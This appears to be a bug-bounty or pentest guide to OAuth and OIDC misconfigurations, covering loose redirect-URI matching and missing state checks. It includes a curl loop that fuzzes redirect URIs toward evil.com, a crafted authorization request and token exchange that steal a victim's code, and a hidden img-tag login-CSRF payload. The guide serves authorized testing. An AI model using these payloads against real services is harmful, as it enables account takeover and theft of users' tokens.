OAuth and OIDC Misconfiguration: Redirect URIs and the state Parameter
Loose redirect URI matching and a missing state parameter turn social login into account takeover. We map the token-theft and CSRF paths and the fixes.
OAuth 2.0 and OIDC security rests on a few parameters being handled exactly right, and two recurring mistakes — loose redirect-URI validation and a missing or unchecked state — turn "log in with..." into account takeover. This is how to find the loose validation and prove token or session theft.
Finding it
Capture the authorization request your target sends to its identity provider and study the parameters: client_id, redirect_uri, scope, state, response_type, and (for OIDC) nonce. The authorization code that comes back is a bearer secret — whoever receives it can exchange it for the victim's tokens.
What to probe on the redirect_uri:
- Extra path segments:
https://app.example.com/cb/../evilor/cb/attacker. - Subdomain/suffix tricks:
https://app.example.com.evil.com/cb,https://appexample.com/cb. - A second
redirect_uriparameter (some servers validate the first, use the last). - An open redirect on the legitimate domain that bounces the code onward.
And on state: is it present, random, and actually verified on the callback? Replay a callback with a stale or altered state and see if the login still completes.
A fast discovery loop is to fuzz the redirect_uri against the provider and watch which variants return a code versus an error:
for u in \
"https://app.example.com/cb" \
"https://app.example.com.evil.com/cb" \
"https://app.example.com@evil.com/cb" \
"https://app.example.com/cb/../../evil" ; do
echo "== $u =="
curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' \
"https://idp.example.com/authorize?response_type=code&client_id=app123&scope=openid&redirect_uri=$u"
done
Any variant that does not bounce to an error page is a candidate for code delivery to a host you control.
Proof of concept
Redirect-URI theft
Submit an authorization request with a redirect_uri pointing at a host you control but crafted to slip past validation:
GET /authorize?response_type=code
&client_id=app123
&redirect_uri=https://app.example.com.evil.com/cb
&scope=openid%20email
&state=xyz HTTP/1.1
Host: idp.example.com
If the provider accepts it and a victim completes login, the authorization code lands on your server:
GET /cb?code=AUTH_CODE_HERE&state=xyz (received on evil.com)
Exchange it for the victim's tokens to prove takeover:
curl -s https://idp.example.com/token \
-d grant_type=authorization_code \
-d code=AUTH_CODE_HERE \
-d redirect_uri=https://app.example.com.evil.com/cb \
-d client_id=app123 -d client_secret=...
# a returned access_token/id_token for the victim == proof
Missing/unchecked state (login CSRF)
If state is not verified, capture your own valid authorization code (start a login, intercept the callback before it lands) and feed it into the victim's in-progress flow:
<!-- Hosted on attacker page; silently logs the victim into the attacker's account -->
<img src="https://app.example.com/oauth/callback?code=ATTACKER_VALID_CODE">
The victim ends up logged into your account and unknowingly enters their data (payment details, documents) there — a session-fixation-style takeover you demonstrate by showing the victim's actions landing in the attacker-controlled account.
Going further
Older deployments still use the implicit flow, returning tokens directly in the URL fragment. Because the access token rides in the URL, it leaks through browser history, Referer headers, and proxy logs — capture a token from any of those channels to prove exposure:
https://app.example.com/cb#access_token=ya29...&token_type=Bearer
Other escalations worth chaining:
- An open redirect on the app domain (
/redirect?to=) used as theredirect_urito defeat exact matching while still satisfying it. - A missing OIDC
noncecheck enabling ID-token replay. - Over-broad
scopegranting more than the UI requested.
The cleanest writeup is a working takeover: the crafted authorization request, the code arriving on your server, and the token exchange returning the victim's credentials. Capture each request/response and use accounts you control as the "victim" on authorized scope.